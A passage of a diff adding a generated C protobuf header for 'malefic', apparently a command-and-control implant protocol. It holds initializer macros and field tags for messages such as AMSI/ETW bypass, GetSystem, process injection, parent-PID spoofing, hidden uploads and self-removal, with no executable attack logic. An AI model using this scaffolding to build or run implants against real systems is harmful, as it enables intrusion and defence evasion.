malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero}} +#define malefic_ExecRequest_init_zero {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, 0, 0, 0} +#define malefic_ExecResponse_init_zero {0, {0, {0}}, {0, {0}}, 0, 0} +#define malefic_BinaryResponse_init_zero {{0, {0}}, {0, {0}}, 0, ""} +#define malefic_Modules_init_zero {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Addons_init_zero {0, {malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero}} +#define malefic_Addon_init_zero {"", "", ""} +#define malefic_LoadModule_init_zero {"", {0, {0}}} +#define malefic_LoadAddon_init_zero {"", "", "", {0, {0}}} +#define malefic_ExecuteAddon_init_zero {"", false, malefic_ExecuteBinary_init_zero} +#define malefic_ExecuteBinary_init_zero {"", {0, {0}}, {{NULL}, NULL}, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, "", {0, {0}}, 0, 0, 0, false, malefic_SacrificeProcess_init_zero, "", "", 0} +#define malefic_ExecuteBinary_ParamEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ExecuteCommand_init_zero {"", false, malefic_SacrificeProcess_init_zero} +#define malefic_UploadRequest_init_zero {"", "", 0, {0, {0}}, 0, 0} +#define malefic_DownloadRequest_init_zero {"", "", 0, 0, 0} +#define malefic_DownloadResponse_init_zero {"", 0, 0, {0, {0}}} +#define malefic_CurlRequest_init_zero {"", 0, "", {0, {0}}, {{NULL}, NULL}, ""} +#define malefic_CurlRequest_HeaderEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ChownRequest_init_zero {"", "", "", 0} +#define malefic_IfconfigResponse_init_zero {0, {malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero}} +#define malefic_RegistryRequest_init_zero {"", false, malefic_Registry_init_zero} +#define malefic_Registry_init_zero {"", "", ""} +#define malefic_RegistryWriteRequest_init_zero {"", "", "", "", {0, {0}}, 0, 0, 0} +#define malefic_TaskScheduleRequest_init_zero {"", false, malefic_TaskSchedule_init_zero} +#define malefic_TaskSchedule_init_zero {"", "", "", 0, "", "", 0, "", ""} +#define malefic_TaskSchedulesResponse_init_zero {0, {malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero}} +#define malefic_ServiceRequest_init_zero {"", false, malefic_ServiceConfig_init_zero} +#define malefic_ServiceConfig_init_zero {"", "", "", 0, 0, ""} +#define malefic_ServiceStatus_init_zero {0, 0, 0, 0, 0} +#define malefic_Service_init_zero {false, malefic_ServiceConfig_init_zero, false, malefic_ServiceStatus_init_zero} +#define malefic_ServicesResponse_init_zero {0, {malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero}} +#define malefic_WmiQueryRequest_init_zero {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_WmiMethodRequest_init_zero {"", "", "", {{NULL}, NULL}} +#define malefic_WmiMethodRequest_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_RunAsRequest_init_zero {"", "", "", "", "", 0, 0, 0} +#define malefic_GetSystem_init_zero {{0, {0}}, 0} +#define malefic_Inject_init_zero {{0, {0}}, 0} +#define malefic_Pipe_init_zero {"", "", {0, {0}}} +#define malefic_PipeRequest_init_zero {"", false, malefic_Pipe_init_zero} +#define malefic_Switch_init_zero {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_TaskCtrl_init_zero {0, ""} +#define malefic_TaskInfo_init_zero {0, 0, 0, 0} +#define malefic_TaskListResponse_init_zero {0, {malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero}} +#define malefic_FFmpegRequest_init_zero {"", "", "", "", ""} +#define malefic_PtyRequest_init_zero {"", "", "", 0, 0, {0, {0}}, "", {{NULL}, NULL}} +#define malefic_PtyRequest_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_PtyResponse_init_zero {"", {0, {0}}, "", "", 0, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}} +#define malefic_PtyResponse_MetadataEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_CommonBody_init_zero {"", 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {{0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}}} + +/* Field tags (for use in manual encoding/decoding) */ +#define malefic_Ping_nonce_tag 1 +#define malefic_Secure_enable_tag 1 +#define malefic_Secure_key_tag 2 +#define malefic_Secure_type_tag 3 +#define malefic_Secure_public_key_tag 4 +#define malefic_KeyExchangeRequest_public_key_tag 1 +#define malefic_KeyExchangeRequest_signature_tag 2 +#define malefic_KeyExchangeRequest_timestamp_tag 3 +#define malefic_KeyExchangeRequest_nonce_tag 4 +#define malefic_KeyExchangeResponse_public_key_tag 1 +#define malefic_Init_data_tag 1 +#define malefic_Suicide_type_tag 1 +#define malefic_Suicide_timestamp_tag 2 +#define malefic_Request_name_tag 1 +#define malefic_Request_input_tag 2 +#define malefic_Request_args_tag 3 +#define malefic_Request_params_tag 4 +#define malefic_Request_bin_tag 5 +#define malefic_Request_ParamsEntry_key_tag 1 +#define malefic_Request_ParamsEntry_value_tag 2 +#define malefic_Response_output_tag 1 +#define malefic_Response_error_tag 2 +#define malefic_Response_kv_tag 3 +#define malefic_Response_array_tag 4 +#define malefic_Response_KvEntry_key_tag 1 +#define malefic_Response_KvEntry_value_tag 2 +#define malefic_BypassRequest_ETW_tag 1 +#define malefic_BypassRequest_AMSI_tag 2 +#define malefic_BypassRequest_block_dll_tag 3 +#define malefic_NetInterface_index_tag 1 +#define malefic_NetInterface_name_tag 2 +#define malefic_NetInterface_mac_tag 3 +#define malefic_NetInterface_ip_addresses_tag 4 +#define malefic_SockTabEntry_local_addr_tag 1 +#define malefic_SockTabEntry_remote_addr_tag 2 +#define malefic_SockTabEntry_skState_tag 3 +#define malefic_SockTabEntry_pid_tag 5 +#define malefic_SockTabEntry_protocol_tag 6 +#define malefic_NetstatResponse_socks_tag 1 +#define malefic_Block_block_id_tag 1 +#define malefic_Block_content_tag 2 +#define malefic_Block_end_tag 3 +#define malefic_ACK_id_tag 1 +#define malefic_ACK_success_tag 2 +#define malefic_ACK_end_tag 3 +#define malefic_Os_name_tag 1 +#define malefic_Os_version_tag 2 +#define malefic_Os_release_tag 3 +#define malefic_Os_arch_tag 4 +#define malefic_Os_username_tag 5 +#define malefic_Os_hostname_tag 6 +#define malefic_Os_locale_tag 7 +#define malefic_Os_clr_version_tag 8 +#define malefic_Process_name_tag 1 +#define malefic_Process_pid_tag 2 +#define malefic_Process_ppid_tag 3 +#define malefic_Process_owner_tag 4 +#define malefic_Process_arch_tag 5 +#define malefic_Process_path_tag 6 +#define malefic_Process_args_tag 7 +#define malefic_Process_uid_tag 8 +#define malefic_SysInfo_filepath_tag 1 +#define malefic_SysInfo_workdir_tag 2 +#define malefic_SysInfo_is_privilege_tag 3 +#define malefic_SysInfo_os_tag 11 +#define malefic_SysInfo_process_tag 12 +#define malefic_Timer_expression_tag 1 +#define malefic_Timer_jitter_tag 2 +#define malefic_FileInfo_Name_tag 1 +#define malefic_FileInfo_IsDir_tag 2 +#define malefic_FileInfo_Size_tag 3 +#define malefic_FileInfo_ModTime_tag 4 +#define malefic_FileInfo_Mode_tag 5 +#define malefic_FileInfo_Link_tag 6 +#define malefic_SacrificeProcess_hidden_tag 1 +#define malefic_SacrificeProcess_block_dll_tag 2 +#define malefic_SacrificeProcess_etw_tag 3 +#define malefic_SacrificeProcess_ppid_tag 4 +#define malefic_SacrificeProcess_argue_tag 5 +#define malefic_LsResponse_Path_tag 1 +#define malefic_LsResponse_Exists_tag 2 +#define malefic_LsResponse_Files_tag 3 +#define malefic_DriveInfo_path_tag 1 +#define malefic_DriveInfo_drive_type_tag 2 +#define malefic_DriveInfo_total_size_tag 3 +#define malefic_DriveInfo_free_size_tag 4 +#define malefic_DriveInfo_file_system_tag 5 +#define malefic_EnumDriversResponse_drives_tag 1 +#define malefic_PsResponse_processes_tag 1 +#define malefic_ExecRequest_path_tag 1 +#define malefic_ExecRequest_args_tag 2 +#define malefic_ExecRequest_output_tag 3 +#define malefic_ExecRequest_singleton_tag 4 +#define malefic_ExecRequest_realtime_tag 5 +#define malefic_ExecRequest_ppid_tag 10 +#define malefic_ExecResponse_status_code_tag 1 +#define malefic_ExecResponse_stdout_tag 2 +#define malefic_ExecResponse_stderr_tag 3 +#define malefic_ExecResponse_pid_tag 4 +#define malefic_ExecResponse_end_tag 5 +#define malefic_BinaryResponse_data_tag 1 +#define malefic_BinaryResponse_message_tag 2 +#define malefic_BinaryResponse_status_tag 3 +#define malefic_BinaryResponse_err_tag 4 +#define malefic_Modules_modules_tag 1 +#define malefic_Addon_name_tag 1 +#define malefic_Addon_type_tag 2 +#define malefic_Addon_depend_tag 3 +#define malefic_Register_name_tag 1 +#define malefic_Register_proxy_tag 2 +#define malefic_Register_module_tag 3 +#define malefic_Register_addons_tag 4 +#define malefic_Register_timer_tag 5 +#define malefic_Register_sysinfo_tag 11 +#define malefic_Register_secure_tag 12 +#define malefic_Addons_addons_tag 1 +#define malefic_LoadModule_bundle_tag 1 +#define malefic_LoadModule_bin_tag 2 +#define malefic_LoadAddon_name_tag 1 +#define malefic_LoadAddon_type_tag 2 +#define malefic_LoadAddon_depend_tag 3 +#define malefic_LoadAddon_bin_tag 4 +#define malefic_ExecuteBinary_name_tag 1 +#define malefic_ExecuteBinary_bin_tag 2 +#define malefic_ExecuteBinary_param_tag 3 +#define malefic_ExecuteBinary_type_tag 4 +#define malefic_ExecuteBinary_process_name_tag 5 +#define malefic_ExecuteBinary_args_tag 6 +#define malefic_ExecuteBinary_entry_point_tag 7 +#define malefic_ExecuteBinary_data_tag 8 +#define malefic_ExecuteBinary_output_tag 9 +#define malefic_ExecuteBinary_arch_tag 10 +#define malefic_ExecuteBinary_timeout_tag 11 +#define malefic_ExecuteBinary_sacrifice_tag 12 +#define malefic_ExecuteBinary_path_tag 13 +#define malefic_ExecuteBinary_context_tag 14 +#define malefic_ExecuteBinary_delay_tag 15 +#define malefic_ExecuteAddon_addon_tag 1 +#define malefic_ExecuteAddon_execute_binary_tag 2 +#define malefic_ExecuteBinary_ParamEntry_key_tag 1 +#define malefic_ExecuteBinary_ParamEntry_value_tag 2 +#define malefic_ExecuteCommand_command_tag 1 +#define malefic_ExecuteCommand_sacrifice_tag 2 +#define malefic_UploadRequest_name_tag 1 +#define malefic_UploadRequest_target_tag 2 +#define malefic_UploadRequest_priv_tag 3 +#define malefic_UploadRequest_data_tag 4 +#define malefic_UploadRequest_hidden_tag 5 +#define malefic_UploadRequest_override_tag 6 +#define malefic_DownloadRequest_path_tag 1 +#define malefic_DownloadRequest_name_tag 2 +#define malefic_DownloadRequest_buffer_size_tag 3 +#define malefic_DownloadRequest_dir_tag 4 +#define malefic_DownloadRequest_cur_tag 5 +#define malefic_DownloadResponse_checksum_tag 1 +#define malefic_DownloadResponse_size_tag 2 +#define malefic_DownloadResponse_cur_tag 3 +#define malefic_DownloadResponse_content_tag 4 +#define malefic_CurlRequest_url_tag 1 +#define malefic_CurlRequest_timeout_tag 2 +#define malefic_CurlRequest_method_tag 3 +#define malefic_CurlRequest_body_tag 4 +#define malefic_CurlRequest_header_tag 5 +#define malefic_CurlRequest_hostname_tag 6 +#define malefic_CurlRequest_HeaderEntry_key_tag 1 +#define malefic_CurlRequest_HeaderEntry_value_tag 2 +#define malefic_ChownRequest_path_tag 1 +#define malefic_ChownRequest_uid_tag 2 +#define malefic_ChownRequest_gid_tag 3 +#define malefic_ChownRequest_recursive_tag 4 +#define malefic_IfconfigResponse_net_interfaces_tag 1 +#define malefic_Registry_hive_tag 1 +#define malefic_Registry_path_tag 2 +#define malefic_Registry_key_tag 3 +#define malefic_RegistryRequest_type_tag 1 +#define malefic_RegistryRequest_registry_tag 2 +#define malefic_RegistryWriteRequest_hive_tag 1 +#define malefic_RegistryWriteRequest_path_tag 2 +#define malefic_RegistryWriteRequest_key_tag 3 +#define malefic_RegistryWriteRequest_string_value_tag 5 +#define malefic_RegistryWriteRequest_byte_value_tag 6 +#define malefic_RegistryWriteRequest_dword_value_tag 7 +#define malefic_RegistryWriteRequest_qword_value_tag 8 +#define malefic_RegistryWriteRequest_regtype_tag 10 +#define malefic_TaskSchedule_name_tag 1 +#define malefic_TaskSchedule_path_tag 2 +#define malefic_TaskSchedule_executable_path_tag 3 +#define malefic_TaskSchedule_trigger_type_tag 4 +#define malefic_TaskSchedule_start_boundary_tag 5 +#define malefic_TaskSchedule_description_tag 6 +#define malefic_TaskSchedule_enabled_tag 7 +#define malefic_TaskSchedule_last_run_time_tag 8 +#define malefic_TaskSchedule_next_run_time_tag 9 +#define malefic_TaskScheduleRequest_type_tag 1 +#define malefic_TaskScheduleRequest_taskschd_tag 2 +#define malefic_TaskSchedulesResponse_schedules_tag 1 +#define malefic_ServiceConfig_name_tag 1 +#define malefic_ServiceConfig_display_name_tag 2 +#define malefic_ServiceConfig_executable_path_tag 3 +#define malefic_ServiceConfig_start_type_tag 4 +#define malefic_ServiceConfig_error_control_tag 5 +#define malefic_ServiceConfig_account_name_tag 6 +#define malefic_ServiceRequest_type_tag 1 +#define malefic_ServiceRequest_service_tag 2 +#define malefic_ServiceStatus_current_state_tag 1 +#define malefic_ServiceStatus_process_id_tag 2 +#define malefic_ServiceStatus_exit_code_tag 3 +#define malefic_ServiceStatus_checkpoint_tag 4 +#define malefic_ServiceStatus_wait_hint_tag 5 +#define malefic_Service_config_tag 1 +#define malefic_Service_status_tag 2 +#define malefic_ServicesResponse_services_tag 1 +#define malefic_WmiQueryRequest_namespace_tag 1 +#define malefic_WmiQueryRequest_args_tag 2 +#define malefic_WmiMethodRequest_namespace_tag 1 +#define malefic_WmiMethodRequest_class_name_tag 2 +#define malefic_WmiMethodRequest_method_name_tag 3 +#define malefic_WmiMethodRequest_params_tag 4 +#define malefic_WmiMethodRequest_ParamsEntry_key_tag 1 +#define malefic_WmiMethodRequest_ParamsEntry_value_tag 2 +#define malefic_RunAsRequest_username_tag 1 +#define malefic_RunAsRequest_domain_tag 2 +#define malefic_RunAsRequest_password_tag 3 +#define malefic_RunAsRequest_program_tag 4 +#define malefic_RunAsRequest_args_tag 5 +#define malefic_RunAsRequest_use_profile_tag 6 +#define malefic_RunAsRequest_netonly_tag 7 +#define malefic_RunAsRequest_use_env_tag 8 +#define malefic_GetSystem_bin_tag 1 +#define malefic_GetSystem_pid_tag 2 +#define malefic_Inject_bin_tag 1 +#define malefic_Inject_pid_tag 2 +#define malefic_Pipe_name_tag 1 